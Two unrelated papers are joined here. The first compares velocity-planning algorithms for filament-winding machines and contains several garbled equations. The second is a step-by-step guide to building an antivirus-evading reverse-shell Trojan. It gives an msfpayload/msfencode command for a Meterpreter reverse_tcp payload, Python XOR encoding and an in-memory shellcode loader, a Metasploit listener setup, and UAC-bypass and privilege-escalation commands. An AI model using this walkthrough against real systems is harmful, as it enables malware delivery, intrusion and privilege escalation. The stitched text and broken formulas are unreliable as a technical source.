When the machine need to deal with complex workpieces, often happens the starting geometry to be expressed as a continuous curve like B-spline, NURBS or other kinds of geometric curves rather than discrete sequence of tool path positions. In this case first we need to do a discretization in order to get the discrete setpoint, and then do the inverse kinematics, parameterization/re-parameterization and interpolation to finally get the required input geometry.

### 2.2. Velocity Planning Process

When multi-axis machine is programmed the goal behind velocity planning (look ahead) is a profile of tool speed - feedrate (appropriate acceleration and jerk) to be generated. There are different approaches for how the speed profile should be represented. The most common is the tool speed according to tool path \(v(s)\), (Fig 2). Also common output of the velocity planning process is a feedrate profile according to spline parameter \(v(u)\) and a speed according to the machining time \(v(t)\).

#### 2.2.1. Feed Generation

Feed generation characterizes the motion along the tool path in terms of the arc displacement \(s(t)\), feed \(\dot{s}(t)\), acceleration \(\ddot{s}(t)\) and jerk \(\dddot{s}(t)\) in the tangential direction. Or, if the input geometry is given in the term of formula (1) then velocity, acceleration and jerk profiles of each drive are evaluated as:
a) Feedrate profile along the tool path

b) Acceleration profile along the tool path

c) Jerk profile along the tool path

Fig. 2 Feed profile along the tool path
\[ \eta(s) = \frac{d\eta(s)}{ds} \dot{s}(s) \]
\[ \ddot{\eta}(s) = \frac{d^2\eta(s)}{ds^2} \ddot{s}(s) + \frac{d\eta(s)}{ds} \dddot{s}(s) \]  
\[ \dddot{\eta}(s) = \frac{d^3\eta(s)}{ds^3} \dddot{s}(s) + 3 \frac{d^2\eta(s)}{ds^2} \dddot{s}(s) + \frac{d\eta(s)}{ds} \dddot{s}(s) \]  

(3)

When more general parameterization is used, or when the tool path is represented as a continuous curve with respect to spline parameter \( u \in [0,1] \) in the term of formula (2), with another application of the chain role we can obtain similar formulas for equations (3).

2.2.2. Constraints

Because of the physical realization of the drives (motors, driving system, machine tool structure ...) the velocity, acceleration and jerk of each individual drive have to be limited. The jerk limitation is important to reduce the vibration due to the dominating vibratory mode of the axes.

As derivatives of the tool-path changes, the commanded path velocity, the feed, may violate the velocity, acceleration and jerk limits of active drives on the machine tool. The optimization constraints are chosen to ensure that the machine performs within the physical and control limits of its components and that the desired contouring accuracy during machining is maintained. For these reasons, constraints are imposed on the feedrate, and the velocities, motor torques, and jerks of all axes. The satisfaction of all imposed constraints is a common for all look ahead algorithms.

2.2.2.1. Velocity Constraints

The velocities of all drives must not exceed their saturation limits:

\[ V_{\text{max}} = [v_x \text{ max}, v_y \text{ max}, v_z \text{ max}, v_a \text{ max}, v_c \text{ max}] \]

Velocity of the machine tool can be represented as vector valued parametric function (with respect to parameter \( w \), where \( w \) can be arc-length parameter \( s \in [0, L] \) or spline parameter \( u \in [0,1] \)) such that the velocity of each of the machine drives are coordinates in the tool velocity function \( V(w) = [v_x, v_y, v_z, v_a, v_c] \), where:

\[ v_\tau(w) = \dot{v}(w) = \frac{dv}{dt} = \frac{dx}{dw} \frac{dw}{dt} = \tau_w(w) \dot{w}, \tau \in \{x, y, z, a, c\} \]

Since each axis has its own limitation the velocity constraints are given as:

\[ |\tau_w(w) \dot{w}| \leq v_{t \text{ max}} \quad \tau \in \{x, y, z, a, c\} \]  

(4)

2.2.2.2. Acceleration Constraints

The acceleration of all drives must not exceed their saturation limits:

\[ A_{\text{max}} = [a_x \text{ max}, a_y \text{ max}, a_z \text{ max}, a_a \text{ max}, a_c \text{ max}] \]
Analogously, as velocity, the acceleration of the machine tool can be represented as vector valued parametric function with respect to the same parameter \( w \):

\[
A(w) = [a_x, a_y, a_z, a_a, a_c] = [\dot{v}_x, \dot{v}_y, \dot{v}_z, \dot{v}_a, \dot{v}_c]
\]

where:

\[
a_t(w) = \dot{v}_t(w) = \frac{d^2x}{dt^2} = \frac{d^2y}{dw^2} (\frac{dw}{dt})^2 + \frac{d^2z}{dw^2} \frac{d^2w}{dt^2} = \tau_{ww}(w) \ddot{w} + \tau_{w}(w) \dddot{w}, \tau \in \{x, y, z, a, c\}
\]

According to this and the acceleration limits for each of the axes, acceleration constraints are given using formula 5:

\[
|\tau_{ww}(w) \ddot{w} + \tau_{w}(w) \dddot{w}| \leq a_{\text{max}}, \tau \in \{x, y, z, a, c\}
\]

### 2.2.2.3. Jerk Constraints

Also the jerk of all drives must not exceed their saturation limits:

\[
J_{\text{max}} = [j_x \text{ max}, j_y \text{ max}, j_z \text{ max}, j_a \text{ max}, j_c \text{ max}]
\]

Analogously to the velocity and acceleration constraints, the jerk of the machine tool can be represented as vector valued parametric function with respect to the same spline parameter \( w \):

\[
J(w) = [j_x, j_y, j_z, j_a, j_c] = [\dot{a}_x, \dot{a}_y, \dot{a}_z, \dot{a}_a, \dot{a}_c]
\]

where:

\[
j_t(w) = \dot{a}_t(w) = \frac{d^3x}{dt^3} = \frac{d^3y}{dw^3} (\frac{dw}{dt})^3 + \frac{3}{2} \frac{d^2x}{dw^2} \frac{dw}{dt} \frac{d^2w}{dt^2} + 3 \frac{d^2x}{dw^2} \frac{d^2w}{dt^2} w
\]

\[
= \tau_{ww}(w) \dddot{w}^3 + \tau_{ww}(w) \dddot{w}w + \tau_{w}(w) \dddot{w}, \tau \in \{x, y, z, a, c\}.
\]

Taking into account jerk limits for each of the axes, for jerk constraints we have:

\[
|\tau_{ww}(w) \dddot{w}^3 + \tau_{ww}(w) \dddot{w}w + \tau_{w}(w) \dddot{w}| \leq J_{\text{max}}, \tau \in \{x, y, z, a, c\}.
\]

### 2.2.3. Problem Definition

The methods for speed control of a machine have to concern on both geometric accuracy and machine productivity. To ensure good machine productivity we need to provide that the machine drives will move with highest feedrate according to previously described constraints (4), (5) and (6). This way the machine will provide the shortest travel time along the tool path. So the aim of the feedrate optimization problem is to maximize the feedrate or to minimize the travel time and generally it’s defined as the minimization of total travel time along the entire path:

\[
\frac{1}{w} \int_0^1 \frac{dw}{w}.
\]

Later in this paper we will do a comparison analysis of three different approaches for feed profile generation.
2.3. PARAMETER COMPUTATION

The output of the velocity planning process is a feed profile relative to same parameter. If that parameter is machining time we get feedrate profile \( v(t) \) and the job is done because we only need to calculate drive positions according to obtained feedrate profile. But, if the parameter of the obtained feedrate profile is the path length \( s \), or the spline parameter \( u \) we need to do additional interpolation in order to map the machine time to the appropriate parameter. There are different ways to deal with this interpolation \( s(t) \) or \( u(t) \) like first and second Taylor expansions algorithms, algorithms that deal with integral equations and others. For all of them the common thing is that they have to deal with some difficulties during interpolation when the speed of the feedrate profile is very small.

3. VELOCITY PLANNING METHODS

To deal with the velocity planning process we have developed and implemented 3 different look ahead algorithms in order to compare their characteristics: non-linear programming, heuristic and linear programming method. In the next section we will discuss them in details.

3.1. NON-LINEAR PROGRAMMING METHOD

Regarding geometry obtained from the inverse kinematics the ‘movement’ for each axis is parameterized using arc-length parameterization and the movement is represented using shape preserving cubic spline for each active axis. Here we use shape preserving cubic spline instead of simple B-spline because we need to follow the shape of the path obtained from the inverse kinematics (Fig3). Like this, using inverse kinematics, fitting shape preserving cubic spline and arc-length parameterization we get the input geometry for this kind of velocity planning method.

![Shape preserving v.s. B-spline](image-url)
Next, with this method the feedrate profile is modeled as B-spline with respect to the tool displacement $\dot{s}(s)$. The only thing we do to obtain the feedrate profile that fulfills problem definition and constraint requirements is modulating B-spline control points by simply changing their position (Fig.4).

![Fig. 4 Control points and feed profile using non-linear programming method](image)

The basic of this method is moving the control points in order to minimize equation (7). To obtain the feedrate profile were used different optimization methods, like Dynamic Programming/Interior Point (DPIP) method and all different methods that can be called with MATLAB fmincon function. The results presented in section 4 are obtained from MATLAB Active-Set optimization method.

### 3.2. Heuristic method

Similar as previous method after inverse kinematics is done, the input geometry for this heuristic method is represented as cubic spline with respect to tool path displacement for each axis. At the beginning the input geometry is segmented such as introducing a new spline parameter $u \in [0,1]$ for each segment. The extraction of the feedrate profile is done by modeling an S-curve with respect to time, on every path segment. By introducing the S-curves we ensure that by changing the invariable jerk the acceleration will be continuous. On Fig.5 is shown a kinematic profile of S-curve process that is usually divided in seven phases: phase with constant jerk, phase with constant acceleration, phase with constant jerk, phase with constant feedrate, phase with constant jerk, phase with constant acceleration and phase with constant jerk.

The basic and what gives strength to this algorithm is using of bisection search algorithm (Fig.6) in order to obtain a compatible feedrate. This compatible feedrate is derived from the kinematics compatibility conditions that checks if the segment has enough length to create S-curve with highest possible feedrate. If isn’t long enough a dichotomy is used to determine the highest feedrate that will enable kinematic compatibility on each segment. Also this compatible feedrate determines the heuristic search space for obtaining a feasible feedrate that will satisfy velocity, acceleration and jerk constraints, and be declared as optimized feedrate. To obtain the final optimized feedrate once again is used a bisection search algorithm.
3.3. LINEAR PROGRAMMING METHOD

Here, each axis path obtained from the starting geometry is represented as cubic spline with respect to $u \in [0, 1]$. The optimization is performed using MATLAB optimization method linprog. Since the problem as it is defined in section 2.2. is not linear, the first important thing done in this feed profile generating method is the linearization of the problem. To do this first a new variable is introduced:

$$q = \frac{\left(\frac{dx_1}{dt}\right)^2 + \left(\frac{dx_2}{dt}\right)^2 + \ldots + \left(\frac{dx_n}{dt}\right)^2}{\left(\frac{du}{dt}\right)^2 + \left(\frac{dv}{dt}\right)^2 + \ldots + \left(\frac{dw}{dt}\right)^2}$$

Using this, the problem is reduced to:
\[
\min \int_{0}^{1} \frac{dq}{q} 
\]

Subject to the constraints:
\[
0 \leq q \leq \left(\frac{v_{r_{\text{max}}}^{2}}{a_{r}(u)}\right)^{2}, \quad r \in \{x_1, x_2, \ldots, x_n\} 
\]
\[
\left|\frac{1}{2} \frac{d(\tau q^{2})}{d\tau}\right| \leq a_{r_{\text{max}}}, \quad r \in \{x_1, x_2, \ldots, x_n\} 
\]
\[
\left|\left(\tau^{m} q + (\tau^{m} + \frac{\tau^{m}}{2}) q + \frac{\tau^{m}}{2} q^{\prime \prime}\right) \sqrt{d}\right| \leq j_{r_{\text{max}}}, \quad r \in \{x_1, x_2, \ldots, x_n\} 
\]

Using these transformations and discretization of the search space (segment \([0,1]\) \(u_1, u_2, \ldots, u_n\)) the problem 2.2.3. is reduced to:
\[
\max(q_1, q_2, \ldots, q_n), 
\]
and the constraints from the formula (8) are reduced to:
\[
0 \leq q_i \leq \left(\frac{v_{r_{\text{max}}}^{2}}{a_{r}(u_i)}\right)^{2}, \quad \left|q_{i+1} \tau_{r_{i+1}}^{2} - q_i \tau_{r_i}^{2}\right| \leq 2A_{r} |\tau_{i+1} - \tau_{i}| 
\]
\[
\left|\sqrt{q_i} \alpha_{ri} \tau_{i}q_{i-1} + \sqrt{q_i} \beta_{ri} q_{i} + \sqrt{q_i} \gamma_{ri} q_{i+1}\right| \leq J_{r} \left(\frac{3}{2} - \frac{q_{i}}{2q_{i}}\right), i = 1, 2, \ldots, N - 1 
\]
\[
\left|\frac{N^{2} \tau_{i}^{2} \sqrt{q_i} q_{i}}{8r_i} \right| \leq J_{r} \left(\frac{3}{2} - \frac{q_{i}}{2q_{i}}\right) 
\]
\[
\left|\frac{N^{2} \tau_{N-1}^{2} \sqrt{q} _{N-1} q_{N-1}}{8r_{N-1}} \right| \leq J_{r} \left(\frac{3}{2} - \frac{q_{N-1}}{2q_{N-1}}\right) 
\]

where:
\[
\alpha_{ri} = \frac{\tau_{i}}{2} - \frac{\tau_{i}}{4} - \frac{\tau_{i}}{4}, \quad \beta_{ri} = \tau_{i} - \frac{\tau_{i}}{4}, \quad \gamma_{ri} = \frac{\tau_{i}}{2} + \frac{\tau_{i}}{4} + \frac{\tau_{i}}{4} 
\]

Now, the algorithm consists in:
- Founding solution \(q_1^{*}, q_2^{*}, \ldots, q_{N-1}^{*}\) of the problem (9) subject to (10) - only velocity and acceleration constraints.
- Founding optimal solution of the problem (9) subject to (10) and (11) using \(q_1^{*}, q_2^{*}, \ldots, q_{N-1}^{*}\).
- Determining velocity profile \(v = v(u)\).

### 4. RESULTS

Feed profile obtained from each of the algorithms for filament winding process on a tube.

Next few results will be given that compare algorithm computational time versus winding time obtained from the algorithms.

According to the previous theoretical analysis of the algorithms we expect largest computational time when non-linear programming method is used, since it amounts to
non-linear optimization, then the heuristic method which amounts to look-ahead search using trial and error method, and less computational time we expect in linear programming method.

![Fig. 7 Feedrate profiles obtained from tree different velocity planning methods](image)

Example 1: Filament winding on a tube (length L=1450 mm) by machine with two drives

![Fig. 8 Computational time for the tree different velocity planning methods](image)

On the example 2 there can be seen that the computational time using the heuristic method is less than the time for algorithm evaluation in the linear programming method. That is because we can’t predict computational time in these direct search methods, sometimes the optimal solution can be obtained with very little searching of the objective search space.
Example 2: Filament winding on a bigger tube (length $L=9570$ mm) by machine with two drives

![Diagram showing computational time for different velocity planning methods.](image)

Fig. 9 Computational time for the three different velocity planning methods

According to the winding time from each of the algorithms we expect that the winding time obtained from non-linear programming method will always be smaller than other two methods and the biggest winding time will be obtained from linear programming method. The heuristic method will give time between these two.

Example 1: Filament winding on a tube (length $L=1450$ mm) by machine with two drives

![Diagram showing winding time obtained from different velocity planning methods.](image)

Fig. 10 Winding time obtained from the three different velocity planning methods

Example 2: Filament winding on a bigger tube (length $L=9570$ mm) by machine with two drives

![Diagram showing winding time obtained from different velocity planning methods.](image)

Fig. 11 Winding time obtained from the three different velocity planning methods
5. **CONCLUSION**

In this paper is presented a detailed process for speed control that lead as to a coordinated axis motion that is accurate, smooth and time-optimal within the limits imposed by drives dynamics.

Today high speed machines require very high speed for drive’s movement in order to achieve good productivity, which can be harmful for the machine. To overcome this problem we need to impose some dynamical limitations of the drives. According to the imposed limits for the velocity, acceleration and jerk of all machine drives this paper presents three different solutions for minimizing the winding time while making best use of the kinematical characteristics.

We give thoroughly explanation how to obtain the required input geometry for the velocity planning process when the starting geometry is presented as discrete sequence of positions and orientations of the machine tool or presented as a continuous curve like B-spline, NURBS and cubic spline. In this section, we dedicated special attention to parameterization because the speed depends on the type of parameterization.

Also we give detailed explanation for the implementation of the three methods proposed as a solution for the velocity planning process. In this paper we compare these three methods by their computational time and their winding time. From the conducted comparison we can conclude that all three methods we have developed and implemented are valid. The non-linear programming method and the heuristics method give good results as winding time. When the speed control algorithm can be executed offline than is better to use non-linear programming method because the winding time obtained with this method is generally smaller than the winding time obtained from the other two methods. But when the speed control algorithm have to be executed in real time than is better to use heuristic method because the winding time is not much bigger compared to one of the non-linear programming method, but the computational time is significantly smaller.

In our future research, we should improve the heuristic approach. Developing and implementation of some algorithm of the class “critical point methods” fits in our research plans as well.

**References**


1) Institute for Advanced Composites and Robotics, Prilep, Macedonia
E-mail address: igord@iacr.edu.mk

2) Institute for Advanced Composites and Robotics, Prilep, Macedonia
E-mail address: ssamak@iacr.edu.mk

3) Institute for Advanced Composites and Robotics, Prilep, Macedonia
E-mail address: dijanac@iacr.edu.mk

4) Institute for Advanced Composites and Robotics, Prilep, Macedonia
E-mail address: mirjanat@iacr.edu.mk

5) Institute for Advanced Composites and Robotics, Prilep, Macedonia
E-mail address: filipk@iacr.edu.mk
Abstract. Computer integration in everyday human life create a motive for developing sophisticated and undetectable malicious codes, Trojans with reverse communication that make use of deficiencies and vulnerability in the chain of security.

1. Introduction

With enlargement of amount of classified data that is stored in computer systems, we are facing increase in interest among evil hackers who are motivated to make research and improve in hacking techniques and attacks. Usage of computers systems means that often we are installing and executing new programs and files that goes through security check by controls present inside and alongside operation systems. Computer users are guided by false assumptions in order to eliminate possibility for them to be victim of a hacker attack. Often they are making assumptions like: “Evil hacker are not interested in us”, “There is no space to be afraid of evil hackers, we have firewall and professional antivirus software.”, “I am using licensed operating systems and software on my PC”.

On a large scale of attacks, evil hacker are bypassing the security system with usage of social engineering technique and widely used hacker tool, evil software code better known as Trojan horse with reverse connection (later in text as Trojan). The title of this tool comes from his characteristics that are the deriving from Greek mythology Trojan horse who seamlessly harmless had successfully gain access to protected part of city Troy and deliver enemy forces bypassing all security measures that protected the city. This paper will use “Metasploit Framework” as a toll for automated construction of malicious code (Trojan) alongside “XOR” algorithm which is used as encryption technique. Increase of new Trojan appearance in period of 2008 till 2013 is measured in enlargement of 200% on yearly level. Free and publicly accessible Trojan construction software tools have contributed towards mass usage of Trojans in hacker attacks.

Here insert your text. The introduction of the paper should explain the nature of the problem, previous work, purpose, and the contribution of the paper. The contents of each section may be provided to understand easily about the paper.
2. BASIC TROJAN CHARACTERISTICS

Trojan definition
Trojan is a software that contains evil and harmful program code in seamlessly harmless program code or data that can gain control and cause damage destroying files and hard drive partitions. Trojans can replicate themselves, easily spread and activate themselves with use of built in capability to act on occurrence of certain predefined conditions. With the usage of Trojans, Evil hackers can access passwords in compromised computer systems (later in this text under title “victim”), personal files, deleted files and interact with active user sessions.

Trojans Communication channels
Making Trojan Reverse Communication by evil hacker is executed with Trojan activation at victim side or/and usage of Trojan function called “backdoor”. Communication can be established by usage of next two channels:

- Open Channel – Legitimate way of communication that enables data transfer at computer system or network. Legitimate programs like computer games are using this type of communication channel.
- Covert Channel – Unauthorized way of communication that is often used for transfer of classified information at computer system or network.

Trojan targets
Guided by nature and type of hacker attacks, Trojan targets are noted as:

- Deleting or overwriting of critical operating system files.
- Generating fake traffic to accomplish “DoS-Denial of Service” attacks.
- Downloading spy software, marketing software and harmful program code.
- Screen capture and record active user session, audio and video capture of victim connected devices.
- Stealing information’s like passwords, secure code, credit card information and other type of financial data through usage of Trojan function “Keylogger”.
- Fully or partially disabling firewall and antivirus protection.
- Creating separate back entry through which later re-establishing communication with victim can be made over usage of function “Backdoor”.
- Creating proxy server at victim side that can relay other evil hacker attacks.
- Victim usage as part of “Botnet” network for executing “DDoS - Distributed Denial of Service” attacks.
- Victim usage as point of further infection and spreading spam and other electronic messages.

3. TROJAN CONSTRUCTION

Two program packets, (non-malicious) carrier program, and malicious payload construct Trojan by itself. The carrier program is responsible for file type that will be
executed by the Trojan right after the victim executes it in her operating system. The Payload is responsible for file type that the Trojan will execute alongside carrier program within execution by the victim. Often usage of execution type is “EXE-Executable File”. The carrier by itself can represent legitimate simple program code like execution of function “Message Popup”. On the other side, the payload is constructed with shellcode that has all Trojan functions and capabilities. At certain Trojans, we have possibility for upgrading payload functions and capabilities after first infection within victim computer system and execution of reverse communication channel with evil hacker.

![Figure 1. Example of Trojan construction with "Wrapper"](image)

Often used by todays Trojans is reverse communication where the victim initiates and establishes the communication with evil hacker, his command center. In order to be under camouflage, the Trojan can use wrapping technique with usage of program/algorithm called “Wrapper” where it can wrap itself together with harmless and simple program like computer game or everyday usage program. For the computer user, the wrapped files represent one visual file where in case of execution the user never notice background execution of the Trojan shellcode, Figure 1.

For construction of shellcode in payload in this paper we are using hacker tool “Metasploit Framework”. This tool is very complex and prebuild with lot of commands, functions alongside with huge database of predefined payloads, exploits and other hacking accessories programs.

*Creating “shellcode”*

In order hackers to easily create the shellcode, they can use a special type of command “msfpayload” from Metasploit Framework. This command has options for customizing the program code for payload creation and possibility for selection of predefined program code that is constructed by the Trojan needs. Part of those needs can be conditions for communication, usage of IPv4 and IPv6 addresses alongside usage of HTTP or HTTPS protocol. The parameters that are required for creating the shellcode in case with predefined payload with reverse communication (reverse_tcp) are:
- Parameter “LHOST” that presents the address of evil hacker with his computer control center. The shape of this data can be standard IP address or internet domain.
- Parameter “LPORT” that presents network port used for reverse communication with evil hacker and his computer control center.

**Techniques for Trojan camouflage**

In order to be undetectable, the Trojan may use techniques in which his payload is encrypted in a way that security controls and antivirus will not be able to detect it. The Trojan camouflage is enabled with encryption. Next two techniques are most often used for doing that.

- The application “Metasploit Framework” has command msfencode that is used as option for encrypting previously generated shellcode. With possibility to choose from 29 predefined algorithms for encryption, this technique is widely used. As addition, this technique can multiply usage of encryption on previously generated shellcode and significantly decrease the possibility for detection.
- One of the most successful techniques for Trojan camouflage is use of “XOR” algorithm with unique encryption key. The secret for getting successful camouflage with technique is use of long and complex string for key followed by double use of “XOR” algorithm. Mostly used programming language for executing this technique is Python and Ruby as they present often used languages among hackers.

### 4. SCENARIOS FOR TROJAN HACKING ATTACKS

In this scenario as victim platform we have Windows OS (tested on Windows 7 Enterprise 32bit with active protection User Access Control – UAC and antivirus program –Microsoft Security Essential) and Linux OS (released preinstalled OS -Kali Linux) as attacker platform. The victim platform is fully updated by the time this paper is created. This paper does not cover the way the attacker delivers the Trojan at victim side. We can only say that most successful way of delivering the Trojan is use of infected media, email or visiting infected webpage. The attack is created within next steps in order of their appearance:

**Generating “Shell Code”**

Generating the shellcode is done with help of MetasploitFramework which is prebuild in Kali Linux. The command line used for this action is displayed in Table 1.

<table>
<thead>
<tr>
<th><strong>Command that is executed on attacker platform OS terminal</strong></th>
</tr>
</thead>
</table>
| msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.131 LPORT=12345 R msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.131 LPORT=12345 R | msfencode -a x86 -c 1 x86/shikata_ga_nai -t c | tr -d '"' | tr -d '
' |
In previous specified command we have set parameters for attackers command control center, IP address (192.168.254.131), open listener port (12345) and encryption with use of algorithm "shikata ga nai". Rest of the parameters are given in purpose of creating larger and right format shellcode for usage in next step of this attack.

Encryption of previous step generated "ShellCode"

This paper is using Python program language for creating encryption program. The purpose of this program is use of algorithm “XOR” for creating undetectable shellcode for the Trojan.

1) First step of encryption with “XOR” algorithm

We create separate program for encryption (codding.py) displayed in Table 2. In this program we use long and complex key as input in “XOR” algorithm.

<table>
<thead>
<tr>
<th>TABLE 2</th>
<th>FIRST STEP OF ENCRYPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>codding.py</td>
<td></td>
</tr>
</tbody>
</table>
from itertools import izip, cycle
def xor_crypt_string(data, key):
    return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))
def hexlify(b):
    return "\x%02x"*len(b) % tuple(map(ord, b))
shellcode = 'GENERATED_SHELLCODE'
key = '(Pdj6Lxh_5*oab81BAOJ}/G'
encrypted = xor_crypt_string(shellcode, key)
print hexlify(encrypted)

This program is using Python command - hexlify that is converting the shellcode from binary to hexadecimal presentation.

2) Second step of encryption

The shellcode that we received as output from previous program codding.py is used as input in next program called creation.py displayed in Table 3. This program executes encryption second time and gives the output code to list of commands in Python (displayed in Table 4) for generating final executable file.

<table>
<thead>
<tr>
<th>TABLE 3</th>
<th>SECOND STEP OF ENCRYPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>creation.py</td>
<td></td>
</tr>
</tbody>
</table>
from itertools import izip, cycle
from ctypes import *
def xor_crypt_string(data, key):
    return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))
key = '(Pdj6Lxh_5*oab81BAOJ}/G'
cipher = 'ENCODED_SHELLCODE'
data = xor_crypt_string(cipher, key)
memory = create_string_buffer(data, len(data))
binary = cast(memory, CFUNCTYPE(c_void_p))
binary()
3) **Preparing to capture reverse communication**

We create listener server on port 12345 at attacker operation system. Within execution of the Trojan he will create reverse communication towards created listener server on port 12345. This established communication will allow direct access to Operating system on victim side which means that the evil hacker “pwnd” the victim. This is done with use of next specified commands displayed in Table 5.

<table>
<thead>
<tr>
<th><strong>TABLE 5</strong></th>
<th><strong>CREATING LISTENER SERVER AT ATTACKER SIDE</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Command that is executed on attacker platform OS terminal</strong></td>
<td></td>
</tr>
<tr>
<td>msfconsole</td>
<td></td>
</tr>
<tr>
<td>use multi/handler</td>
<td></td>
</tr>
<tr>
<td>set PAYLOAD windows/meterpreter/reverse_tcp</td>
<td></td>
</tr>
<tr>
<td>set LHOST 192.168.254.131</td>
<td></td>
</tr>
<tr>
<td>set LPORT 12345</td>
<td></td>
</tr>
<tr>
<td>set ExitOnSession false</td>
<td></td>
</tr>
<tr>
<td>set AutoRunScript migrate -f</td>
<td></td>
</tr>
<tr>
<td>exploit -j</td>
<td></td>
</tr>
</tbody>
</table>

4) **Bypassing Windows Security User Access Control – UAC**

The same moment the Trojan is activated for execution of the victim site, he will create reverse communication with evil hacker attacker platform. Although the hacker has successfully gain unauthorized access to victim site, this session does not have administrative privileges because of Windows Security User Access Control – UAC in place. In order to remove this security control the evil hacker can use build in auxiliary tool in Metasploit Framework as one of the techniques for bypassing UAC. The commands within Table 6 are used for bypassing UAC.

<table>
<thead>
<tr>
<th><strong>TABLE 6</strong></th>
<th><strong>BYPASSING &quot;UAC&quot; PROTECTION</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Command that is executed on attacker platform OS terminal</strong></td>
<td></td>
</tr>
<tr>
<td>run post/windows/escalate/bypassuac</td>
<td></td>
</tr>
<tr>
<td>background</td>
<td></td>
</tr>
<tr>
<td>sessions -i 1</td>
<td></td>
</tr>
<tr>
<td>getuid</td>
<td></td>
</tr>
<tr>
<td>getsystem</td>
<td></td>
</tr>
</tbody>
</table>
The evil hacker gains full administrator privilege access to the victim site within successful execution of commands.

References


Ethical Hacker, Skopje, Republic of Macedonia
E-mail address: mane@piperevski.com